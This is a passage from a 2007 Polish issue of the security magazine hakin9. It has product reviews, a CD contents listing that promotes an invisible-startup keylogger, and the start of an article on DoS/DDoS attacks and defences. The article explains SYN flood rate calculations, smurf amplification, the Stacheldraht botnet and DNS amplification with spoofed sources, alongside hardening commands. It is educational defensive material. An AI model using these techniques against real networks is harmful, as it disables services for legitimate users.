nie jest ważne dla danego portu, rodzaj urządzenia, oraz
ID portu.

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

dzisiejszym świecie coraz więcej zależy od obie-
gu informacji w sieci. Jakiekolwiek niepożąda-
ne oprogramowanie typu spyware, wirusy, roba-

ki internetowe itd. może spowodować dotkliwe straty finan-
sowe i straty w postaci utraty danych ważnych dla korpora-
cji. Oczywiście można założyć Mnie ten problem nie doty-

czy, nie będę wydawał pieniędzy niepotrzebnie. Nic bardziej
błędnego – rozprzestrzenianie się niepożądanego oprogra-
mowania w internecie jest na porządku dziennym. I prędzej
czy później dotknie każdego. Przykładem tu może być od-
bieranie codziennie spamu ze skrzynki pocztowej. I tutaj na-
przeciw wychodzi Czeska firma AEC która oferuje swój naj-
nowszy produkt TrustPort Internet Gateway i TrustPort Se-
rvers – który miałem przyjemność testować. Jest to kom-
pletny pakiet do ochrony komputera przed wszelkim niepo-
żądanym oprogramowaniem internetowym, spamem i wiru-
sami.

Całość pakietu składa się z dwóch części: TrustPort

Internet Gateway – odpowiedzialnej za ochronę poczty i
internetu oraz TrustPort Server – dodatkowe narzędzia,
w skład których wchodzi antywirus i firewall. Po instalacji
pakietu musimy poświęcić chwilę na odpowiednie skon-
figurowanie oprogramowania. Pierwszą rzeczą, na któ-
rą zwróciłem uwagę, był skaner TrustPort Antivirus, który
poza podstawowymi możliwościami skanowania dysków
twardych i napędów, posiada również możliwość skano-
wania rejestru.

Wielkim plusem jest możliwość obszernej konfigura-

cji skanera i jego wszelkich opcji. Przeskanowałem swój
dysk i byłem bardzo pozytywnie zaskoczony kiedy zo-
baczyłem rezultaty – zostały usunięte wszelkie szkodli-
we pliki, których inne skanery nawet nie pokazywały ja-
ko zagrożenie. Następnie przyszedł czas na TrustPort In-
ternet Gateway. I tutaj również zostałem miło zaskoczo-

TP Internet Gateway 4.5

ny obszernymi możliwościami tego narzędzia. Pierwsza
rzecz jaka rzuca się w oczy to bardzo czytelny interface
w którym widać trzy zakładki: E-mail, Web, Common. Za-
kładka e-mail odpowiada za ochronę poczty. Pierwszą
rzeczą jaką trzeba zrobić jest skonfigurowanie ustawień
poczty. Następnie można przejść do dostępnych opcji:
konfigurację antywirusa dla poczty, konfigurację usta-
wień anty-spamowych takich jak czarna, szara i biała li-
sta adresów e-mail, filtr Bayesa, który analizuje zawar-
tość wiadomości i stwierdza czy dana wiadomość jest
spamem czy nie. Inne to: Regular phrases filter – wyszu-
kuje teksty typowe dla spamu, Public RBL and DSBL lists
– jest to publiczna czarna lista z informacjami o spame-
rach. Oczywiście są też inne opcje, ale nie sposób je tu
wszystkie opisać. Zakładka web odpowiada za ochronę
sieci i internetu. Tutaj również najpierw trzeba skonfigu-
rować ustawienia i następnie przejść do dostępnych opcji
takich jak: dodawanie zaufanych adresów URL oraz blo-
kowanie niepożądanych adresów. Mamy również możli-
wość ustawienia antywirusa dla internetu oraz inne na-
rzędzia do kontroli. Ostatnia zakładka to Common, w któ-
rej mamy możliwość ustawienia antywiusa i wszystkich
innych usług. Następnym dostępnym narzędziem jest
TrustPort Servers, który może pomóc w rozwiązaniu pro-
blemu wirusów znajdujących się w różnych dokumentach
i plikach i rozsyłanych za pomocą sieci. W skład Trust-
Port Server wchodzą: TrustPort Server Antivirus i Trust-
Port Firewall. Pakiet firmy AEC udostępnia nam bardzo
szeroką możliwość konfigurowania skutecznego sposo-
bu ochrony naszego komputera i sieci przed wszelkim
szkodliwym oprogramowaniem. W mojej ocenie pakiet
sprawdził się bardzo dobrze.

Jacek Łapiński

Rysunek 1.

Okno konfiguracyjne narzędzia TrustPort

Internet Gateway

Rysunek 2.

Skaner antywirusowy podczas pracy

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzędzia,

dokumentację, tutoriale i materiały dodatkowe do artyku-
łów. Aby zacząć pracę z hakin9.live, wystarczy urucho-
mić komputer z CD1. Po uruchomieniu systemu może-
my zalogować się jako użytkownik hakin9 bez podawa-
nia hasła.

Materiały dodatkowe zostały umieszczone w nastę-

pujących katalogach:

• tut – 26 tutoriali
• Aurox-Live;
• HIT – 10-Strike Software - LANState 1.2: to prosta

w użyciu aplikacja katalogująca umożliwiająca nie-
zwykle efektowne zarządzanie listami plików umiesz-
czonych na nośnikach wymiennych. Program umożli-
wia tworzenie całkowicie spersonalizowanych list pli-
ków umożliwiając tym samym efektywne przeszuki-
wanie zborów wg dowolnie zadanych przez użytkow-
nika kryteriów.

• Eltima - Powered Keylogger ( wersja pełna na pół ro-

ku) pozwala na monitorowanie wszystkiego co jest
wpisywane z klawiatury twojego komputera. Program
uruchamia się w niewidzialnym trybie razem z uru-
chomieniem Windows.

• Uniblue – System Tweaker System ekstremalne-

go przetaktowywania. System Tweaker jest funkcją,
która pozwala na perfekcyjnie dokładne dostrojenie
wszystkich parametrów pracy Twojego systemu dla
uzyskania maksymalnych osiągów. Nie ważnie, czy
chcesz zmienić częstotliwość, napięcie czy opóźnie-
nia pamięci – wszystkie te opcje są dostępne w jed-
nym miejscu.

• Vip Defense – Vip Privacy
• Sandstorm - NetIntercept 3.2 Software Demo
• doc – indeks;
• pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkata-
logach _arch. W przypadku przeglądania płyty z po-
ziomu uruchomionego hakin9.live powyższa struk-
tura jest dostępna z podkatalogu /mnt/cdrom. Wer-
sję hakin9.live 3.1-aur zbudowaliśmy, opierając się o
dystrybucję Aurox i skrypty automatycznej generacji
(www.aurox.org/pl/live). Narzędzia dystrybucji, które
nie znajdują się na dołączonej do pisma płycie, insta-
lowane są z repozytorium Auroxa za pomocą progra-

Zawartość CD 1

mu yum. W porównaniu z hakin9.live 2.9.1-ng zasad-
niczą zmianą jest oparcie systemu na dystrybucji Au-
rox Live 11.1. oraz przejście z Fluxboksa na środowi-
sko graficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję.

Na CD1 opracowane zostały praktyczne ćwicze-

nia do jendego artykułu – Sieci nie lokalne, który moż-
na przeczytać w piśmie. Zakładamy, że podczas wy-
konywania ćwiczeń związanych z artykułami i tuto-
rialami, użytkownik korzysta z hakin9.live. Dzięki te-
mu uniknie problemów związanych z różnymi wersjami
kompilatorów, inną lokalizacją plików konfiguracyjnych
czy opcjami niezbędnymi do uruchomienia programu
w danym środowisku. hakin9.live został przygotowany
pod kątem tych ćwiczeń i zawiera wszystkie wymaga-
ne aplikacje.

CD2

TrustPort Internet Gateway 4,5

Eliminuje problem wirusów, spamu jak i spyware w ko-
munikacji e-mailowej.TP Internet Gateway może zo-
stać nainstalowana na serwerach Windows lub ser-
werach pocztowych w zależności od typologii danej
sieci. Co wiecej, elementy TrustPort Internet Gate-
way mogą zostać rozdzielone pomiędzy poszczegól-
ne serwery. Istnieje również możliwość zakupienia tyl-
ko niektórych jej funkcji np. modul antispam i antispy-
ware lub modul antiwirus. Istnieje możliwość znaczne-
go obniżenia ceny w przypadku zakupu licencji wielo-
stanowiskowej.

Kurs na certyfikat Cisco CCNA cz. I

Certyfikat CCNA przeznaczony jest dla specjalistów od
niewielkich sieci (do 100 stanowisk) i potwierdza umiejęt-
ności w zakresie instalacji i konfiguracji routerów i prze-
łączników Cisco w sieciach LAN i WAN (poprawa wydaj-
ności i bezpieczeństwa sieci oraz usuwanie problemów).
Kandydat może wybrać dowolny sposób przygotowania
się do egzaminu, w szczególności edukację zdalną. Cer-
tyfikatem CCNA kończy się również czterosemestralny
kurs realizowany w ramach programu Cisco Networking
Academy, z którego korzysta obecnie 800 studentów z 19
szkół i uczelni. l

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

Narzędzia

hakin9 Nr 2/2007

www.hakin9.org

Elegancki, mały i zgrabny – takie pierwsze wrażenie spra-
wia nowy model firewalla DFL-1600 Firmy D-LINK z serii
NetDefend. Jest to produkt, który nadaje sie do zasto-
sowań w małej i średniej firmie, jednakże swoje zadania
spełni również w placówkach edukacyjnych i kawiaren-
kach internetowych. Urządzenie sprawdza sie świetnie w
warunkach natężonego ruchu. Model ten umożliwia filtro-
wanie treści, blokowanie określonych aplikacji i uwierzy-
telnienie użytkownika. Zabezpiecza także przed ataka-
mi typu DoS. Jednym z ciekawych rozwiązań zastosowa-
nym w tym sprzęcie jest funkcja Zone Defense. W wypad-
ku wykrycia nieprawidłowych zachowań jakiegoś hosta
potrafi całkowicie odciąć mu dostęp do sieci. Oprócz fire-
walla urządzenie to ma wbudowaną obsługę sieci VPN.
Dostępna jest większość algorytmów szyfrujących dla tej
usługi (DES, 3DES, AES, Twofish, Blowfish, CAST-128).
Dzięki DFL-1600 można kontrolować ruch sieciowy ogra-
niczając pasmo poszczególnym hostom, bądź sieci. Ist-
nieje możliwość ustalenia pasma gwarantowanego, mak-
symalnego oraz ustalenie priorytetów dla danych usług
sieciowych. Urządzenie to nadaje sie także do uwierzy-
telniania użytkowników, dzięki czemu dostęp do sieci
posiadają tylko uprawnione osoby. Konfiguracji urządze-
nia możemy dokonać na kilka sposobów np. poprzez gra-
ficzny interfejs użytkownika dostępny z poziomu przeglą-
darki www. Wbudowany kreator sprawia że konfiguracja
jest łatwa i przyjemna. Rozbudowane menu interfejsu,
oraz liczne możliwości konfiguracji zapory sprawiają że
można czasem się pogubić, co może sprawić problemy
początkującym administratorom sieci. Dogłębne prze-
studiowanie podręcznika na pewno ułatwi jednak wła-
ściwe użytkowanie sprzętu. Monitorowanie i administra-
cja nie kończą sie jednak na GUI, do dyspozycji mamy

także standardową konsolę, dostęp za pomocą proto-
kołu SMNP oraz SSH. Dzięki temu możemy w wygodny
sposób zarządzać i monitorować pracą urządzenia. Na
przednim panelu zapory, znajduje się wyświetlacz LCD,
na którym widzimy podstawowe parametry

oraz statystyki połączeń i systemu. Dzięki temu

możemy obserwować pewne parametry bez potrze-
by nawiązywania połączenia z firewallem. Na przednim
panelu mamy dostępnych aż 6 dowolnie konfigurowa-
nych portów sieciowych (RJ45). Możemy sami wybrać
i przydzielić który z portów będzie pełnił funkcje WAN,
LAN lub DMZ. Wielopoziomowy system uwierzytelnia-
nia, pozwala na tworzenie wielu kont, które mogą posia-
dać specjalnie zdefiniowane uprawnienia do zarządzania
konfiguracją urządzenia. Dzięki temu posiadamy pełną
kontrolę nad dostępem użytkowników do urządzenia.
Administracja tym sprzętem nie sprawia większych trud-
ności, natomiast dla użytkownika praca firewalla jest nie-
zauważalna. W zestawie dostarczonym przez producen-
ta znajdziemy dwa kable sieciowe (prosty i skrosowany),
kabel do podłączenia konsoli, kabel zasilający oraz doku-
mentację na płycie CD. Instrukcja, jak i interfejs konfigu-
racyjny nie jest dostępny w naszym ojczystym języku.
Produkt zaraz po podłączeniu i skonfigurowaniu jest
gotowy do użycia.

Wojciech Trynkowski

Producent: D-Link
Model: DFL-1600
Typ: Firewall
Przeznaczenie: małe i średnie firmy
Strona producenta: www.dlink.pl
Cena: 9500 PLN

D-Link DFL-1600

www.hakin9.org

hakin9 Nr 2/2007

Atak

tym artykule zostanie omówiony
szereg popularnych ataków: star-
sze, związane z wykorzystaniem

błędów w implementacjach stosu TCP/IP - ta-
kie jak Land, Ping of death, Winnuke czy Tear-
drop. Następnie - klasyczny atak wyczerpujący
zasoby serwera - Syn flood. W dalszej kolejno-
ści ataki smurf, fraggle czy UDP echo-chargen
wykorzystujące luki w konfiguracjach routerów.
W ostatniej części rozdziału zostaną omówione
nowsze wersje ataków DDoS - w tym ataki Sta-
cheldraht, Trinoo czy ataki na serwery DNS.

Klasyfikacja ataków DoS

Ataki DoS mają na celu uniemożliwienie do-
stępu do usług informatycznych uprawnionym
użytkownikom. Ze względu na sposób dzia-
łania można wyróżnić techniki mające na ce-
lu wyczerpanie zasobów serwera (tak, aby
nie mógł oferować żadnych usług) oraz tech-
niki zaburzające komunikację pomiędzy po-
tencjalnym klientem a serwerem (np: poprzez
zapchanie łącza internetowego od strony ser-
wera). Jednocześnie pojawiły się rozproszone
ataki DoS (DDoS) wykorzystujące armię kom-
puterów zombie do przeprowadzania właści-
wego ataku DoS.

Land attack

Należy do grupy ataków mających na celu wy-
korzystanie niepoprawnej implementacji sto-
su TCP/IP. Należy już raczej do ataków histo-
rycznych. Atakujący wysyła pakiet TCP SYN z
podmienionym adresem źródłowym wskazują-
cym na ofiarę oraz z takim samem portem źró-
dłowym i docelowym - wskazującym na usługę
atakowanego serwera. Jak się okazało, na taki
zabieg podatnych było wiele systemów. Przy-
kładowo cisco: IOS blokowało ruch na 30 se-
kund. Maszyny windows 95 wieszały się. Atak
można łatwo przeprowadzić przy użyciu pu-
blicznie dostępnego programu land.c. Każdy
nowoczesny OS powinien być uodporniony na

DDoS - Nowoczesne

metody ataku i obrony

Michał Garcarz, Janusz Sosnowski

stopień trudności

Dokument ma na celu zapoznanie czytelnika z nowoczesnymi

atakami odmowy usługi (DoS - Denial of service), jak również z

ich rozproszoną odmianą (DDoS - Distributed denial of service).

Celem powyższych ataków jest uniemożliwienie dostępu do usług

informatycznych uprawnionym użytkownikom.

Z artykułu dowiesz się...

• jak klasyfikować ataki D(DoS),
• jak przeprowadzić atak na serwer DNS,
• jak bronić się przed atakami typu D(DoS).

Powinieneś wiedzieć...

• podstawowe informacje na temat ataków

D(DoS).

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

ten typ ataku. Poza tym takie pakie-
ty powinny być wycinane na pozio-
mie firewalla.

Ping of death

Znany też jako Long ICMP attack -
polega na wysyłaniu bardzo dużych,
podzielonych na wiele fragmentów
pakietów ICMP. Po ich sklejeniu po
stronie serwera okazuje się, że jego
wielkość przekracza dopuszczalny
rozmiar pakietu IP czyli 65535 baj-
tów. Wiele systemów nie potrafiło
sobie z tym poradzić - w tym wcze-
sne wersje windows i Linux. Atak ła-
two przeprowadzić przy użyciu do-
stępnych narzędzi (a nawet skryp-
tów z wykorzystaniem hping). W ce-
lu obrony należy zaktualizować sys-
tem albo blokować komunikaty ICMP
na firewallu.

Winnuke

Głośny swojego czasu atak wyko-
rzystujący w windows lukę polegają-
cą na niepoprawnym obsłużeniu da-
nych OOB (Out of Band) skierowa-
nych do portów 137-139 (NetBios).
Windows nie potrafił obsłużyć da-
nych OOB, co skutkowało dziwnym
zachowaniem - od utraty połącze-
nia internetowego po zawieszenie
się maszyny. Atak było bardzo łatwo
przeprowadzić za pomocą graficz-
nych narzędzi spod windows. W celu
jego uniknięcia można wyłączyć ob-
sługę NetBios albo zablokować na fi-
rewallu porty 137-139.

Teardrop

Podobnie jak Land attack wykorzy-
stuje luki w implementacji TCP/IP.
Problem występował w starszych
wersjach Linuxa i Windows. Syste-
my te niepoprawnie sklejały sfrag-
mentowane pakiety. W przypadku
kiedy atakujący podał ujemną war-
tość długości fragmentu, nie podle-
gało to sprawdzeniu, przez co re-
zerwował on olbrzymią ilość da-
nych na bufor docelowy. Oczywi-
ście tę lukę już dawno usunięto.
Jednak w ostatnim czasie pojawia
się ich bardzo wiele, zwłaszcza w
kernelu Linuxa, które umożliwiają
przeprowadzanie ataków DoS za-
równo lokalnych jak i zdalnych. Na
szczęście luki te wykrywa się - za-
zwyczaj w bardziej zaawansowa-
nych mechanizmach, które bywa-
ją niewykorzystane w typowych in-
stalacjach. Jednak w związku z tym
dobrą regułą są częste aktualizacje
systemu.

SYN flood

Celem ataku jest wyczerpanie za-
sobów serwera. Jest to jedna ze
starszych form ataku, jednak wciąż
dość popularna i skuteczna. O jakie
zasoby może chodzić? Większość
związanych ze stosem TCP/IP jest
alokowana dynamicznie. Należą do
nich między innymi PCB (Protocol
Control Blocks) - odpowiedzialna za
utrzymywanie informacji o punktach
końcowych UDP (adresy IP i porty

dla każdego połączenia) oraz TCP
(TCP Control Blocks) - odpowie-
dzialna za utrzymywanie informa-
cji na temat stanu każdego połącze-
nia TCP. Tu (ponad to co w PCB) za-
pisany jest szereg informacji takich
jak numery sekwencyjne i potwier-
dzenia (oba kierunki), rozmiar okna
segmentu, wartości zegarów i wie-
le innych opcji - specyficznych dla
TCP. Ze względu na spory rozmiar
TCB (w Linuksie 140 bajtów) zde-
cydowano się na stworzenie kolej-
ki dla połączeń ,,półotwartych''1 ,
czyli połączeń TCP, które nie zosta-
ły jeszcze w pełni nawiązane. Kolej-
ka ta jest zasobem alokowanym sta-
tycznie i globalnie dla całego syste-
mu2. Zawarto w niej tylko podsta-
wowe informacje związane ze sta-
nem TCP. Są one przekazywane w
nagłówku TCP z pierwszym pakie-
tem SYN (na przykład MSS). Dopie-
ro gdy połączenie zostanie uznane
za otwarte (stan ,,ESTABLISHED'')
tworzone są dla niego odpowiednie
rekordy TCB. Domyślny rozmiar ko-
lejki połączeń nasłuchujących dla
Linuxa to 1024 3.

Jak może wyglądać potencjalne

zagrożenie ? Do atakowanego ser-
wera wysyłane są tysiące pakietów
TCP z ustawioną flagą SYN. Serwer
po odebraniu takiego pakietu rezer-
wuje rekord w kolejce połączeń na-
słuchujących, po czym odsyła od-
powiedź potwierdzającą z ustawio-
ną flagą SYN i ACK. Atakujący jed-
nak nie kończy inicjalizacji połącze-
nia TCP (poprzez odpowiedź z flagą
ACK). Efektem tego na serwerze jest
dużo ,,półotwartych'' połączeń TCP
(połączeń w stanie SYN_RCVD). Je-
śli cała kolejka połączeń nasłuchują-
cych zostanie zapełniona nie będzie
akceptował on już żadnych nowych
połączeń TCP, przez co uprawnieni
użytkownicy nie będą mogli skorzy-
stać usług TCP na tym serwerze. Za-
skakujące może być to, że do takie-
go ,,zatkania'' serwera wcale nie po-
trzeba bardzo szybkiego łącza, ani
olbrzymiej ilości pakietów. Łatwo to
policzyć. Każde połączenie z kolej-
ki połączeń nasłuchujących jest lo-
sowo usuwane(gdy kolejka jest peł-
na a nadszedł nowy pakiet SYN)

Rysunek 1.

Nawiązywanie połączenia TCP

hakin9 Nr 2/2007

www.hakin9.org

Atak

z prawdopodobieństwem 1/N , gdzie
N to rozmiar kolejki. Jednocześnie
każdy serwer ma szereg zegarów
TCP. Jednym z nich jest RTT (Ro-
und Trip Time), który jest wyliczany
(szacowany) przez serwer na pod-
stawie statystyk aktualnych transmi-
sji. Określa on czas jaki serwer bę-
dzie oczekiwał na odpowiedź z flagą
ACK na wysłany przez siebie pakiet
SYN,ACK. Po upłynięciu tego cza-
su odpowiedni rekord z kolejki po-
łączeń nasłuchujących będzie usu-
wany. Atakujący musi więc wysyłać
taką ilość pakietów SYN, która za-
gwarantuje nadpisanie każdego re-
kordu w tej kolejce zanim upłynie
RTT. Załóżmy, że RTT oszacowany
przez serwer wynosi 200ms a roz-
miar N kolejki to 1024. W takim wy-
padku należy wysyłać co najmniej
N/RTT=5120 pakietów na sekundę,
co przy najmniejszym rozmiarze pa-
kietu równym 64B daje 320KB/s co
da się osiągnąć przy łączu 3Mbit lub
szybszym. W efekcie można zablo-
kować serwer Linuxowy z łączem
155Mbit.

Dziś większość nowoczesnych

systemów wspiera mechanizmy
chroniące w dużym stopniu przed te-
go typu atakiem. FreeBSD domyśl-
nie wspiera Syncookie[8] z Synca-
che[9]. Kernel Linuxa posiada nie-
stety tylko wsparcie dla Syncookie
(niestety nie kompilowane domyśl-
nie). Mechanizmy te zostaną omó-
wione szerzej w dalszej części ar-
tykułu. Innym prostym zabezpiecze-
niem jest zwiększenie kolejki połą-
czeń nasłuchujących np:

sysctl -w net.ipv4.tcp_max_syn_

backlog=8192

co 8-krotnie (w stosunku do standar-
dowych wartości) zwiększy wyma-
gania na przepustowość łącza dla
potencjalnego atakującego.

Smurf attack

Należy do grupy ataków mają-
cych na celu zapchanie łącza lu-
b(i) wykorzystanie zasobów atako-
wanego serwera. Polega na efek-
cie ,,wzmocnienia'', które można
uzyskać wysyłając pakiety IP (w

tym przypadku ICMP echo) na ad-
res rozgłoszeniowy sieci. Pakie-
ty te wysyłane są z podmienionym
adresem źródłowym IP. Wszyst-
kie hosty w docelowej sieci po ode-
braniu takiego pakietu odpowiada-
ją ICMP reply przesyłając go pod-
mienionemu adresowi źródłowemu,
który staje się celem ataku. Na je-
den pakiet wysłany przez atakują-
cego, może odpowiedzieć nawet
kilkaset hostów, więc wzmocnie-

nie tego ataku jest znaczne. Przy-
kładowo - wysyłając pakiety z pręd-
kością 512kbit/s przy wzmocnieniu
100 serwer docelowy jest obciążo-
ny strumieniem danych o przepły-
wie 50Mbit/s.

Dziś większość routerów za-

pobiega rozprzestrzenianiu się te-
go rodzaju pakietów rozgłoszenio-
wych. Ponadto wiele routerów filtru-
je komunikaty ICMP. Aby zabezpie-
czyć się przed tymi atakami można
zablokować możliwość rozgłaszania
pakietów IP na całą sieć. Dla syste-
mów BSD:

sysctl -w net.inet.ip.directed-
broadcast=0

dla cisco IOS:
no ip directed-broadcast

Fraggle attack

Jest to starsza forma ataku, bardzo
podobna do smurf, jednak zamiast
ICMP echo i reply fraggle polega

na wysyłaniu rozgłoszeniowych pa-
kietów UDP, na które zwracane są
odpowiedzi ICMP o nieosiągalnym
porcie (ICMP typ 3, kod 3). Zapy-
tania UDP oraz ICMP Port Unre-
achable są filtrowane znacznie rza-
dziej niż pakiety ICMP Echo requ-
est i Echo Reply. Jednak wyłącze-
nie możliwości broadcastu na adre-
sy IP skutecznie zabezpiecza przed
tym atakiem.

UDP chargen-echo

Rzadko dziś spotykana forma ataku.
Ma na celu sprzężenie usług UDP,
z których jedna wypisuje dane (np:
chargen) a druga zwraca je z po-
wrotem. W tym celu atakujący wy-
syła pakiet UDP z adresem i portem
źródłowym wskazującym na usłu-
gę echo oraz docelowym wskazują-
cym na usługę chargen. W wyniku
tego usługa chargen wyśle dane do
usługi echo, która zwróci je do char-
gen i tak w kółko. Aby zabezpieczyć
się przed tą formą ataku należy po-
wyłączać niewykorzystywane usłu-
gi UDP i zawsze zwracać uwagę na
tak potencjalnie niebezpieczne usłu-
gi jak echo.

Ataki aplikacyjne

Jest to cała grupa ataków mającą na
celu wykorzystanie słabego punk-
tu konkretnej aplikacji działającej na
serwerze. Zaliczyć można do nich
ataki na serwery IRC, www, smtp

Rysunek 2.

Architektura Stacheldraht i innych systemów DDoS

Intruder

Victim

Master

Attack traffic

Control traffic

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

i wiele innych. Podatne są zwłasz-
cza serwery aplikacyjne połączone z
bazami danych, gdzie wysłanie jed-
nego zapytania generuje spory ruch
czy też dużą ilość obliczeń na ser-
werze (duży współczynnik wzmoc-

nienia). Ataki te są specyficzne, za-
leżą od architektury aplikacji i nie bę-
dą one tutaj dokładniej omawiane.

Stacheldraht

Zaliczany jest do ataków DDoS - Di-
stributed Denial of Service. Ataki ta-
kie wykorzystują wiele innych kom-
puterów, które mogą pełnić rolę zom-
bie. Dla porównania smurf czy frag-
gle ich nie wykorzystują i mimo, że
wykorzystują wiele niewinnych ho-
stów jako wzmocnienie nie są kla-
syfikowane jako DDoS. Jeśli jednak
kontrolowana armia zombie zaata-
kuje docelowe serwery za pomocą
dowolnej techniki DoS to jest już to
uważane za DDoS. Stacheldraht jest
koniem trojańskim robiącym z za-
rażonych komputerów zombie, któ-
re są kontrolowane przez kompute-
ry zarządzające (master) a te z ko-
lei są kontrolowane przez atakują-
cego. W każdej chwili armia hostów
może dostać od atakującego rozkaz

przeprowadzenia zmasowanego ata-
ku na dowolny cel. Narzędzie umoż-
liwia przeprowadzenie z komputerów
zombie większości znanych form
ataku DoS. Rozprzestrzenia się wy-
korzystując różnorodne luki (jak ro-
bak) poprzez email, www, icq i inne
protokoły.

Program klienta (atakujące-

go) łączy się z komputerami zarzą-
dzającymi przez TCP/16660 - inter-
fejs przypomina telnet (uwierzytel-
nianie poprzez hasło). Komunika-
cja ta jest szyfrowana przy pomo-
cy algorytmu blowfish. Kompute-
ry zombie zgłaszają się do zarzą-
dzających przy pomocy TCP/65000
oraz ICMP. Stacheldraht umożliwia
komputerom zarządzającym auto-
matyczną aktualizacje oprogramo-
wania na zombie poprzez wydanie
polecania .distro, po którym wspo-
mniane komputery poprzez komen-
dę rcp ściągają najnowszą wersję
trojana z podanej wcześniej przez
.distro strony. Każdy zombie ma za-
kodowany adres IP komputerów za-
rządzających (przy uruchomieniu
łączy się z zarządcą). Ten zaś nie
zna adresu IP atakującego - tylko
nasłuchuje i czeka na rozkazy. Jest

to dla atakującego względnie bez-
pieczna forma działania, gdy coś
się dzieje, wówczas wystarczy za-
trzeć ślady na komputerach zarzą-
dzających. Jakie są wady tego sys-
temu ? System jest łatwy do wykry-
cia zarówno na zarządcy jak i zom-
bie. Widać pootwierane porty TCP.
Nie są stosowane żadne techniki
modyfikacji kernela mające na ce-
lu ukrywanie procesów czy plików.
Forma obrony: jak przed każdym
wirusem czy koniem trojańskim: ak-
tualizować system, firewall ze ściśle
dopasowanymi regułami, program
antywirusowy.

Trinoo

Poprzednik Stacheldrahta. Znacz-
nie prostszy, o trój warstwowej ar-
chitekturze, ale umożliwia jedynie
ataki UDP. Oprócz standardowej
- tekstowej wersji, powstała rów-
nież nakładka pod windows - win-
trinoo - co przyczyniło się do dużej
popularności tego narzędzia wśród
mało zaawansowanych użytkowni-
ków sieci. Trinoo nie wykorzystuje
ICMP do komunikacji. Posiada te
same wady co Stacheldraht. Forma
przeciwdziałania i obrony: podobnie
jak Stacheldraht.

TFN

Tribe flood network - poprzednik Sta-
cheldrahta. Znacznie prostszy, też
o trój warstwowej architekturze,
umożliwia więcej ataków niż Trinoo,
jednak nie wykorzystuje szyfrowania
i uwierzytelniania. Posiada te same
wady co Stacheldraht. Forma prze-
ciwdziałania i obrony: podobnie jak
Stacheldraht.

Ataki na serwery DNS

W ostatnim czasie bardzo modne
są ataki DDoS przeprowadzane na
serwery DNS. Zazwyczaj znacz-
nie łatwiej unieruchomić serwer
DNS odpowiedzialny za rozróżnia-
nie nazwy domenowej na dany IP
niż dobrze skonfigurowany i zabez-
pieczony serwer docelowy. Więk-
szość użytkowników nie zna na pa-
mięć adresu IP serwera udostępnia-
jącego usługi, z których korzysta
więc jest to dość skuteczny atak.

Rysunek 3.

Stacheldraht - przykładowa sesja

hakin9 Nr 2/2007

www.hakin9.org

Atak

Jednocześnie ma on znacznie więk-
szy zasięg, ponieważ potencjalnie
uniemożliwia dostęp do większej ilo-
ści serwerów. Jeśli celem jest bar-
dzo popularny serwer, jego adres IP
i nazwa domeny może być kaszo-
wana przez inne serwery DNS, co
może zmniejszyć skuteczność ata-
ku. Często serwery DNS sieci lokal-
nych pełnią funkcje kaszujące dzięki
czemu korzystający z nich użytkow-
nicy mogą być przez pewien czas
odporni na atak na docelowy serwer
DNS, ponieważ ich lokalny DNS ka-
szujący nie kontaktuje się z docelo-
wym serwerem DNS tak długo jak
długo dla danego rekordu dns wpis
jest aktualny – zazwyczaj jest to 1
dzień (default TTL).

Ataki z użyciem

serwerów DNS

Kolejną, bardzo chętnie wykorzysty-
waną formą ataków jest używanie
serwerów DNS jako wzmacniaczy
ataku. Na dodatek sprawę pogarsza
fakt, że w sieci jest bardzo wiele ser-
werów zwanych open resolver. Po-
zwalają one na rekursywne zapyta-
nia całemu światu (zamiast tylko za-
ufanym hostom). Jest tu analogia do
terminologii open relay stosowanej
w przypadku serwerów SMTP, któ-
re pozwalają na wysyłanie wiadomo-
ści z podanego serwera wszystkim
użytkownikom internetu - zamiast
tylko niektórym (uwierzytelnionym
w jakikolwiek sposób). Łatwo wy-
obrazić sobie atak, w którym do po-
średniczącego serwera DNS wysła-
ne jest rekursywne zapytanie o fik-
cyjną domenę hackin9.org ze sfał-
szowanym adresem źródłowym IP1.
Zapytanie to jest maksymalnie zmi-
nimalizowane i (w zależności od na-
zwy domeny) zawiera około 60 baj-
tów. Pytamy o wszystkie typy rekor-
dów4. Pośredniczący serwer DNS
zacznie wypytywać po kolei serwery
DNS - zaczynając od korzenia, aż w
końcu otrzyma odpowiednie dane. W
zależności od wybranej domeny mo-
że to być nawet kilkaset bajtów, któ-
re zostają zwrócone pod sfałszowa-
ny adres IP1, który jest celem ata-
ku. W RFC1035 maksymalny roz-
miar UDP jest określony na 512. Da-

tagramy UDP są preferowane tam
gdzie to możliwe. Segmenty TCP
są narzucane dla transferów strefy.
Użycie UDP jest konieczne do prze-
prowadzenia ataku ze względu na
sfałszowany adres źródłowy. 5. Je-
śli przyjąć, że uda się osiągnąć 500
bajtów odpowiedzi można uzyskać
wzmocnienie ponad 8, co oznacza
że przy strumieniu 1Mbit/s ze stro-
ny atakującego serwer docelowy
jest zalewany strumieniem 8Mbit/s.
Co daje możliwość zadawania py-
tań rekursywnych ? Można kontro-
lować, które serwery DNS będą od-
pytywane zanim odpowiedź zosta-
nie odesłana do ofiary. Można rów-
nież odpytywać samą ofiarę (serwer
DNS danej organizacji, który często
jest w tym samym segmencie sieci
co atakowany serwer). Zaletą tech-
niki wzmocnienia przez DNS jest to
że datagramy UDP/53 są przepusz-
czane przez większość routerów -
w przeciwieństwie do np: ICMP echo
i reply używanego przez smurf. Jed-
nak to dopiero początek. Okazu-
je się, że można uzyskać znacznie
większe wzmocnienie. Coraz bar-
dziej popularne stają się rozsze-
rzenia protokołu DNS zdefiniowa-
ne np: w RFC2671, które umożliwia
udzielanie odpowiedzi w datagra-
mach UDP przekraczających roz-
miar 4000 bajtów. Wystarczy tylko
